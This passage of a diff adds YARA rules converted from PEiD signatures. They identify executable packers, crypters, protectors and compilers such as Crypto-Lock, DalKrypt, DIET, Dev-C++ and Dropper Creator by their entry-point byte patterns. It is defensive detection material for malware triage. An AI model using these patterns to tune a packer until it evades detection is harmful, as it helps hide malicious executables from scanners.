+        $a = {60 BE 15 90 40 00 8D BE EB 7F FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 83 C1 02 81 FD 00 F3 FF FF 83 D1 01 8D 14 2F 83 FD FC 76 0F 8A 02 42 88 07 47 49 75 F7 E9 63 FF FF FF 90 8B 02 83 C2 04 89 07 83 C7 04 83 E9 04 77 F1 01 CF E9 4C FF FF FF 5E 89 F7 B9 55 00 00 00 8A 07 47 2C E8 3C 01 77 F7 80 3F 01 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 29 F8 80 EB E8 01 F0 89 07}
+    condition:
+        $a
+}
+
+rule PEiD_00443_Crypto_Lock_v2_02__Eng_____Ryan_Thian_
+{
+    meta:
+        description = "[Crypto-Lock v2.02 (Eng) -> Ryan Thian]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? 90 40 00 8D BE ?? ?? FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 83 C1 02 81 FD 00 F3 FF FF 83 D1 01 8D 14 2F 83 FD FC 76 0F 8A 02 42 88 07 47 49 75 F7 E9 63 FF FF FF 90 8B 02 83 C2 04 89 07 83 C7 04 83 E9 04 77 F1 01 CF E9 4C FF FF FF 5E 89 F7 B9 55 00 00 00 8A 07 47 2C E8 3C 01 77 F7 80 3F 01 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 29 F8 80 EB E8 01 F0 89 07}
+    condition:
+        $a
+}
+
+rule PEiD_00444_CRYPToCRACk_s_PE_Protector_V0_9_2____Lukas_Fleischer___Sign_by_fly_
+{
+    meta:
+        description = "[CRYPToCRACk's PE Protector V0.9.2 -> Lukas Fleischer ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {E8 01 00 00 00 E8 58 5B 81 E3 00 FF FF FF 66 81 3B 4D 5A 75 37 84 DB 75 33 8B F3 03 ?? ?? 81 3E 50 45 00 00 75 26}
+    condition:
+        $a
+}
+
+rule PEiD_00445_CRYPToCRACk_s_PE_Protector_v0_9_3____Lucas_Fleischer__h__
+{
+    meta:
+        description = "[CRYPToCRACk's PE Protector v0.9.3 -> Lucas Fleischer (h)]"
+        ep_only = "true"
+    strings:
+        $a = {5B 81 E3 00 FF FF FF 66 81 3B 4D 5A 75 33 8B F3 03 73 3C 81 3E 50 45 00 00 75 26 0F B7 46 18 8B C8 69 C0 AD 0B 00 00 F7 E0 2D AB 5D 41 4B 69 C9 DE C0 00 00 03 C1 75 09 83 EC 04 0F 85 DD 00 00 00 81 EB 00 01 00 00 75 BE 90 72 ?? ?? ?? ?? 00 00 00 00 00 00 00 7A ?? ?? ?? 72 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 C1 00 46 61 74 61 6C 45 78 69 74}
+    condition:
+        $a
+}
+
+rule PEiD_00446_CRYPToCRACk_s_PE_Protector_V0_9_3____Lukas_Fleischer___Sign_by_fly_
+{
+    meta:
+        description = "[CRYPToCRACk's PE Protector V0.9.3 -> Lukas Fleischer ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {5B 81 E3 00 FF FF FF 66 81 3B 4D 5A 75 33 8B F3 03 73 3C 81 3E 50 45 00 00 75 26 0F B7 46 18 8B C8 69 C0 AD 0B 00 00 F7 E0 2D AB 5D 41 4B 69 C9 DE C0 00 00 03 C1}
+    condition:
+        $a
+}
+
+rule PEiD_00447_CrypWrap_vx_x_
+{
+    meta:
+        description = "[CrypWrap vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {E8 B8 ?? ?? ?? E8 90 02 ?? ?? 83 F8 ?? 75 07 6A ?? E8 ?? ?? ?? ?? FF 15 49 8F 40 ?? A9 ?? ?? ?? 80 74 0E}
+    condition:
+        $a
+}
+
+rule PEiD_00448_Cygwin32_
+{
+    meta:
+        description = "[Cygwin32]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 04 83 3D}
+    condition:
+        $a
+}
+
+rule PEiD_00449_D1NS1G____D1N_
+{
+    meta:
+        description = "[D1NS1G -> D1N]"
+        ep_only = "false"
+    strings:
+        $a = {18 37 00 00 00 00 00 00 01 00 0A 00 00 00 18 00 00 80 00 00 00 00 ?? ?? 18 37 00 00 00 00 02 00 00 00 88 00 00 80 38 00 00 80 96 00 00 80 50 00 00 80 00 00 00 00 ?? ?? 18 37 00 00 00 00 00 00 01 00 00 00 00 00 68 00 00 00 00 00 00 00 ?? ?? 18 37 00 00 00 00 00 00 01 00 00 00 00 00 78 00 00 00 B0 F0 00 00 10 00 00 00 00 00 00 00 00 00 00 00 C0 F0 00 00 60 00 00 00 00 00 00 00 00 00 00 00 06 00 44 00 56 00 43 00 4C 00 41 00 4C 00 0B 00 50 00 41 00 43 00 4B 00 41 00 47 00 45 00 49 00 4E 00 46 00 4F 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00450_D1S1G_v1_1_Beta____Scrambled_EXE____D1N_
+{
+    meta:
+        description = "[D1S1G v1.1 Beta ++ Scrambled EXE -> D1N]"
+        ep_only = "false"
+    strings:
+        $a = {E8 07 00 00 00 E8 1E 00 00 00 C3 90 58 89 C2 89 C2 25 00 F0 FF FF 50 83 C0 55 8D 00 FF 30 8D 40 04 FF 30 52 C3 8D 40 00 55 8B EC 83 C4 E8 53 56 57 8B 4D 10 8B 45 08 89 45 F8 8B 45 0C 89 45 F4 8D 41 61 8B 38 8D 41 65 8B 00 03 C7 89 45 FC 8D 41 69 8B 00 03 C7 8D 51 6D 8B 12 03 D7 83 C1 71 8B 09 03 CF 2B CA 72 0A 41 87 D1 80 31 FF 41 4A 75 F9 89 45 F0 EB 71 8B}
+    condition:
+        $a
+}
+
+rule PEiD_00451_D1S1G_v1_1_beta_____D1N_
+{
+    meta:
+        description = "[D1S1G v1.1 beta --> D1N]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 01 00 0A 00 00 00 18 00 00 80 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 02 00 00 00 88 00 00 80 38 00 00 80 96 00 00 80 50 00 00 80 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 01 00 00 00 00 00 68 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 01 00 00 00 00 00 78 00 00 00 B0 ?? ?? 00 10 00 00 00 00 00 00 00 00 00 00 00 C0 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 06 00 44 00 56 00 43 00 4C 00 41 00 4C 00 0B 00 50 00 41 00 43 00 4B 00 41 00 47 00 45 00 49 00 4E 00 46 00 4F 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00452_DAEMON_Protect_v0_6_7_
+{
+    meta:
+        description = "[DAEMON Protect v0.6.7]"
+        ep_only = "true"
+    strings:
+        $a = {60 60 9C 8C C9 32 C9 E3 0C 52 0F 01 4C 24 FE 5A 83 C2 0C 8B 1A 9D 61}
+    condition:
+        $a
+}
+
+rule PEiD_00453_DalKrypt_1_0___by_DalKiT_
+{
+    meta:
+        description = "[DalKrypt 1.0 - by DalKiT]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? 58 68 ?? ?? ?? 00 5F 33 DB EB 0D 8A 14 03 80 EA 07 80 F2 04 88 14 03 43 81 FB ?? ?? ?? 00 72 EB FF E7}
+    condition:
+        $a
+}
+
+rule PEiD_00454_DalKrypt_1_0___by_DalKiT_
+{
+    meta:
+        description = "[DalKrypt 1.0 - by DalKiT]"
+        ep_only = "true"
+    strings:
+        $a = {68 00 10 40 00 58 68 ?? ?? ?? 00 5F 33 DB EB 0D 8A 14 03 80 EA 07 80 F2 04 88 14 03 43 81 FB ?? ?? ?? 00 72 EB FF E7}
+    condition:
+        $a
+}
+
+rule PEiD_00455_DBPE_v1_53_
+{
+    meta:
+        description = "[DBPE v1.53]"
+        ep_only = "true"
+    strings:
+        $a = {9C 55 57 56 52 51 53 9C FA E8 ?? ?? ?? ?? 5D 81 ED 5B 53 40 ?? B0 ?? E8 ?? ?? ?? ?? 5E 83 C6 11 B9 27 ?? ?? ?? 30 06 46 49 75 FA}
+    condition:
+        $a
+}
+
+rule PEiD_00456_DBPE_v2_10_
+{
+    meta:
+        description = "[DBPE v2.10]"
+        ep_only = "true"
+    strings:
+        $a = {9C 6A 10 73 0B EB 02 C1 51 E8 06 ?? ?? ?? C4 11 73 F7 5B CD 83 C4 04 EB 02 99 EB FF 0C 24 71 01 E8 79 E0 7A 01 75 83 C4 04 9D EB 01 75 68 5F 20 40 ?? E8 B0 EF FF FF 72 03 73 01 75 BE}
+    condition:
+        $a
+}
+
+rule PEiD_00457_DCrypt_Private_0_9b____drmist_
+{
+    meta:
+        description = "[DCrypt Private 0.9b -> drmist]"
+        ep_only = "true"
+    strings:
+        $a = {B9 ?? ?? ?? 00 E8 00 00 00 00 58 68 ?? ?? ?? 00 83 E8 0B 0F 18 00 D0 00 48 E2 FB C3}
+    condition:
+        $a
+}
+
+rule PEiD_00458_DEF_1_0____bart_xt_
+{
+    meta:
+        description = "[DEF 1.0 -> bart/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? ?? 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00459_DEF_1_0____bart_xt_
+{
+    meta:
+        description = "[DEF 1.0 -> bart/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? ?? 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00460_DEF_1_00__Eng_____bart_xt_
+{
+    meta:
+        description = "[DEF 1.00 (Eng) -> bart/xt]"
+        ep_only = "false"
+    strings:
+        $a = {BE ?? 01 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? ?? 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00461_DEF_v1_00__Eng_____bart_xt_
+{
+    meta:
+        description = "[DEF v1.00 (Eng) -> bart/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? 01 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? ?? 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00462_DEF_v1_0_
+{
+    meta:
+        description = "[DEF v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? 01 40 00 6A 05 59 80 7E 07 00 74 11 8B 46}
+    condition:
+        $a
+}
+
+rule PEiD_00463_DEF_v1_0_
+{
+    meta:
+        description = "[DEF v1.0]"
+        ep_only = "false"
+    strings:
+        $a = {BE ?? 01 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? 10 40 00 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00464_dePACK____deNULL_
+{
+    meta:
+        description = "[dePACK -> deNULL]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 DD 60 68 00 ?? ?? ?? 68 ?? ?? 00 00 E8 ?? 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00465_Dev_C___4_9_9_2____Bloodshed_Software_
+{
+    meta:
+        description = "[Dev-C++ 4.9.9.2 -> Bloodshed Software]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 ?? ?? ?? 00 E8 C8 FE FF FF 90 8D B4 26 00 00 00 00 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 ?? ?? ?? 00 E8 A8 FE FF FF 90 8D B4 26 00 00 00 00 55 8B 0D ?? ?? ?? 00 89 E5 5D FF E1 8D 74 26 00 55 8B 0D}
+    condition:
+        $a
+}
+
+rule PEiD_00466_Dev_C___v4_
+{
+    meta:
+        description = "[Dev-C++ v4]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 83 EC 08 83 C4 F4 6A ?? A1 ?? ?? ?? 00 FF D0 E8 ?? FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_00467_Dev_C___v5_
+{
+    meta:
+        description = "[Dev-C++ v5]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 83 EC 14 6A ?? FF 15 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00468_DIET_v1_00__v1_00d_
+{
+    meta:
+        description = "[DIET v1.00, v1.00d]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? 3B FC 72 ?? B4 4C CD 21 BE ?? ?? B9 ?? ?? FD F3 A5 FC}
+    condition:
+        $a
+}
+
+rule PEiD_00469_DIET_v1_00d_
+{
+    meta:
+        description = "[DIET v1.00d]"
+        ep_only = "true"
+    strings:
+        $a = {FC 06 1E 0E 8C C8 01 ?? ?? ?? BA ?? ?? 03 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00470_DIET_v1_02b__v1_10a__v1_20_
+{
+    meta:
+        description = "[DIET v1.02b, v1.10a, v1.20]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? BF ?? ?? B9 ?? ?? 3B FC 72 ?? B4 4C CD 21 FD F3 A5 FC}
+    condition:
+        $a
+}
+
+rule PEiD_00471_DIET_v1_44__v1_45f_
+{
+    meta:
+        description = "[DIET v1.44, v1.45f]"
+        ep_only = "true"
+    strings:
+        $a = {F8 9C 06 1E 57 56 52 51 53 50 0E FC 8C C8 BA ?? ?? 03 D0 52}
+    condition:
+        $a
+}
+
+rule PEiD_00472_Ding_Boy_s_PE_lock_Phantasm_v0_8_
+{
+    meta:
+        description = "[Ding Boy's PE-lock Phantasm v0.8]"
+        ep_only = "true"
+    strings:
+        $a = {55 57 56 52 51 53 E8 00 00 00 00 5D 8B D5 81 ED 0D 39 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_00473_Ding_Boy_s_PE_lock_Phantasm_v1_0___v1_1_
+{
+    meta:
+        description = "[Ding Boy's PE-lock Phantasm v1.0 / v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {55 57 56 52 51 53 66 81 C3 EB 02 EB FC 66 81 C3 EB 02 EB FC}
+    condition:
+        $a
+}
+
+rule PEiD_00474_Ding_Boy_s_PE_lock_Phantasm_v1_5b3_
+{
+    meta:
+        description = "[Ding Boy's PE-lock Phantasm v1.5b3]"
+        ep_only = "true"
+    strings:
+        $a = {9C 55 57 56 52 51 53 9C FA E8 00 00 00 00 5D 81 ED 5B 53 40 00 B0}
+    condition:
+        $a
+}
+
+rule PEiD_00475_Ding_Boy_s_PE_lock_v0_07_
+{
+    meta:
+        description = "[Ding Boy's PE-lock v0.07]"
+        ep_only = "true"
+    strings:
+        $a = {55 57 56 52 51 53 E8 00 00 00 00 5D 8B D5 81 ED 23 35 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_00476_diPacker_1_x____diProtector_Software_
+{
+    meta:
+        description = "[diPacker 1.x -> diProtector Software]"
+        ep_only = "true"
+    strings:
+        $a = {0F 00 2D E9 01 00 A0 E3 68 01 00 EB 8C 00 00 EB 2B 00 00 EB 00 00 20 E0 1C 10 8F E2 8E 20 8F E2 00 30 A0 E3 67 01 00 EB 0F 00 BD E8 00 C0 8F E2 00 F0 9C E5}
+    condition:
+        $a
+}
+
+rule PEiD_00477_diProtector_1_x____diProtector_Software_
+{
+    meta:
+        description = "[diProtector 1.x -> diProtector Software]"
+        ep_only = "true"
+    strings:
+        $a = {01 00 A0 E3 14 00 00 EB 00 00 20 E0 44 10 9F E5 03 2A A0 E3 40 30 A0 E3 AE 00 00 EB 30 00 8F E5 00 20 A0 E1 3A 0E 8F E2 00 00 80 E2 1C 10 9F E5 20 30 8F E2 0E 00 00 EB 14 00 9F E5 14 10 9F E5 7F 20 A0 E3 C5 00 00 EB 04 C0 8F E2 00 F0 9C E5}
+    condition:
+        $a
+}
+
+rule PEiD_00478_DiskDupe__c__MSD_Configuration_file_
+{
+    meta:
+        description = "[DiskDupe (c) MSD Configuration file]"
+        ep_only = "false"
+    strings:
+        $a = {4D 53 44 20 44 61 74 61 20 56 65 72 73}
+    condition:
+        $a
+}
+
+rule PEiD_00479_DiskDupe__c__MSD_Users_file_
+{
+    meta:
+        description = "[DiskDupe (c) MSD Users file]"
+        ep_only = "false"
+    strings:
+        $a = {4D 53 44 20 55 73 65 72 73 20 56 65 72 73 69 6F 6E}
+    condition:
+        $a
+}
+
+rule PEiD_00480_DJoin_v0_7_public__RC4_encryption_____drmist_
+{
+    meta:
+        description = "[DJoin v0.7 public (RC4 encryption) -> drmist]"
+        ep_only = "true"
+    strings:
+        $a = {C6 05 ?? ?? 40 00 00 C6 05 ?? ?? 40 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_00481_DJoin_v0_7_public__xor_encryption_____drmist_
+{
+    meta:
+        description = "[DJoin v0.7 public (xor encryption) -> drmist]"
+        ep_only = "true"
+    strings:
+        $a = {C6 05 ?? ?? 40 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_00482_DOS_16M_DOS_Extender__c__Tenberry_Software_Inc_1987_1995_
+{
+    meta:
+        description = "[DOS/16M DOS Extender (c) Tenberry Software Inc 1987-1995]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? 8E C7 8E D7 BC ?? ?? 36 ?? ?? ?? ?? FF ?? ?? ?? 36 ?? ?? ?? ?? BE ?? ?? AC 8A D8 B7 00 ?? ?? 8B ?? ?? ?? 4F 8E C7}
+    condition:
+        $a
+}
+
+rule PEiD_00483_DOS32_v_3_3_DOS_Extender_and_Loader_
+{
+    meta:
+        description = "[DOS32 v.3.3 DOS-Extender and Loader]"
+        ep_only = "true"
+    strings:
+        $a = {0E 1F FC 9C 5B 8B C3 80 F4 ?? 50 9D 9C 58 3A E7 75 ?? BA ?? ?? B4 09 CD 21 B4 4C CD 21}
+    condition:
+        $a
+}
+
+rule PEiD_00484_DotFix_Nice_Protect_2_1____GPcH_Soft_
+{
+    meta:
+        description = "[DotFix Nice Protect 2.1 -> GPcH Soft]"
+        ep_only = "true"
+    strings:
+        $a = {E9 FF 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8}
+    condition:
+        $a
+}
+
+rule PEiD_00485_DotFix_Nice_Protect_V2_1____GPcH_Soft___Sign_By_haggar_
+{
+    meta:
+        description = "[DotFix Nice Protect V2.1 -> GPcH Soft * Sign.By.haggar]"
+        ep_only = "false"
+    strings:
+        $a = {E9 FF 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3 2B 7C 24 28 89 7C 24 1C 61 C3 60 B8 ?? ?? ?? ?? 03 C5 50 B8 ?? ?? ?? ?? 03 C5 FF 10 BB ?? ?? ?? ?? 03 DD 83 C3 0C 53 50 B8 ?? ?? ?? ?? 03 C5 FF 10 6A 40 68 00 10 00 00 FF 74 24 2C 6A 00 FF D0 89 44 24 1C 61 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00486_DotFix_NiceProtect_vna_
+{
+    meta:
+        description = "[DotFix NiceProtect vna]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 55 00 00 00 8D BD 00 10 40 00 68 ?? ?? ?? 00 03 3C 24 8B F7 90 68 31 10 40 00 9B DB E3 55 DB 04 24 8B C7 DB 44 24 04 DE C1 DB 1C 24 8B 1C 24 66 AD 51 DB 04 24 90 90 DA 8D 77 10 40 00 DB 1C 24 D1 E1 29}
+    condition:
+        $a
+}
+
+rule PEiD_00487_Dr_Web_Virus_Finding_Engine____InSoft_EDV_Systeme_
+{
+    meta:
+        description = "[Dr.Web Virus-Finding Engine -> InSoft EDV-Systeme]"
+        ep_only = "true"
+    strings:
+        $a = {B8 01 00 00 00 C2 0C 00 8D 80 00 00 00 00 8B D2 8B ?? 24 04}
+    condition:
+        $a
+}
+
+rule PEiD_00488_DragonArmor____Orient_
+{
+    meta:
+        description = "[DragonArmor -> Orient]"
+        ep_only = "true"
+    strings:
+        $a = {BF 4C ?? ?? 00 83 C9 FF 33 C0 68 34 ?? ?? 00 F2 AE F7 D1 49 51 68 4C ?? ?? 00 E8 11 0A 00 00 83 C4 0C 68 4C ?? ?? 00 FF 15 00 ?? ?? 00 8B F0 BF 4C ?? ?? 00 83 C9 FF 33 C0 F2 AE F7 D1 49 BF 4C ?? ?? 00 8B D1 68 34 ?? ?? 00 C1 E9 02 F3 AB 8B CA 83 E1 03 F3}
+    condition:
+        $a
+}
+
+rule PEiD_00489_DragonArmor____Orient_
+{
+    meta:
+        description = "[DragonArmor -> Orient]"
+        ep_only = "true"
+    strings:
+        $a = {BF 4C ?? ?? 00 83 C9 FF 33 C0 68 34 ?? ?? 00 F2 AE F7 D1 49 51 68 4C ?? ?? 00 E8 11 0A 00 00 83 C4 0C 68 4C ?? ?? 00 FF 15 00 ?? ?? 00 8B F0 BF 4C ?? ?? 00 83 C9 FF 33 C0 F2 AE F7 D1 49 BF 4C ?? ?? 00 8B D1 68 34 ?? ?? 00 C1 E9 02 F3 AB 8B CA 83 E1 03 F3 AA BF 5C ?? ?? 00 83 C9 FF 33 C0 F2 AE F7 D1 49 51 68 5C ?? ?? 00 E8 C0 09 00 00 8B 1D 04 ?? ?? 00 83 C4 0C 68 5C ?? ?? 00 56 FF D3 A3 D4 ?? ?? 00 BF 5C ?? ?? 00 83 C9 FF 33 C0 F2 AE F7 D1 49 BF 5C ?? ?? 00 8B D1 68 34 ?? ?? 00 C1 E9 02 F3 AB 8B CA 83 E1}
+    condition:
+        $a
+}
+
+rule PEiD_00490_Dropper_Creator_V0_1____Conflict_
+{
+    meta:
+        description = "[Dropper Creator V0.1 -> Conflict]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 8D 05 ?? ?? ?? ?? 29 C5 8D 85 ?? ?? ?? ?? 31 C0 64 03 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09}
+    condition:
+        $a
+}
+
+rule PEiD_00491_DSHIELD_
+{
+    meta:
+        description = "[DSHIELD]"
+        ep_only = "true"
+    strings:
+        $a = {06 E8 ?? ?? 5E 83 EE ?? 16 17 9C 58 B9 ?? ?? 25 ?? ?? 2E}
+    condition:
+        $a
+}
+
+rule PEiD_00492_Dual_s_Cryptor____dual_
+{
+    meta:
+        description = "[Dual's Cryptor -> dual]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 00 05 00 00 E8 00 00 00 00 5D 81 ED 0E}
+    condition:
+        $a
+}
+
+rule PEiD_00493_Dual_s_eXe_1_0_
+{
+    meta:
+        description = "[Dual's eXe 1.0]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 00 05 00 00 E8 00 00 00 00 5D 81 ED 0E 00 00 00 8D 85 08 03 00 00 89 28 33 FF 8D 85 7D 02 00 00 8D 8D 08 03 00 00 2B C8 8B 9D 58 03 00 00 E8 1C 02 00 00 8D 9D 61 02 00 00 8D B5 7C 02 00 00 46 80 3E 00 74 24 56 FF 95 0A 04 00 00 46 80 3E 00}
+    condition:
+        $a
+}
+
+rule PEiD_00494_Dual_s_eXe_1_0_
+{
+    meta:
+        description = "[Dual's eXe 1.0]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 00 05 00 00 E8 00 00 00 00 5D 81 ED 0E 00 00 00 8D 85 08 03 00 00 89 28 33 FF 8D 85 7D 02 00 00 8D 8D 08 03 00 00 2B C8 8B 9D 58 03 00 00 E8 1C 02 00 00 8D 9D 61 02 00 00 8D B5 7C 02 00 00 46 80 3E 00 74 24 56 FF 95 0A 04 00 00 46 80 3E 00 75 FA 46 80 3E 00 74 E7 50 56 50 FF 95 0E 04 00 00 89 03 58 83 C3 04 EB E3 8D 85 24 03 00 00 50 68 1F 00 02 00 6A 00 8D 85 48 03 00 00 50 68 01 00 00 80 FF 95 69 02 00 00 83 BD 24 03 00 00 00 0F 84 8B 00 00 00 C7 85 28 03 00 00 04 00 00 00 8D 85 28 03 00 00 50 8D 85 20 03 00 00 50 8D 85 6C 03 00 00 50 6A 00 8D 85 62 03 00 00 50 FF B5 24 03 00 00 FF 95 71 02 00 00 83 BD 20 03 00 00 01 7E 02 EB 20 6A 40 8D 85 73 03 00 00 50 8D 85 82 03 00 00 50 6A 00 FF 95 61 02 00 00 6A 00 FF 95 65 02 00 00 FF 8D 20 03 00 00 FF}
+    condition:
+        $a
+}
+
+rule PEiD_00495_Dual_s_eXe_Encryptor_1_0b____Dual_
+{
+    meta:
+        description = "[Dual's eXe Encryptor 1.0b -> Dual]"
+        ep_only = "true"
+    strings:
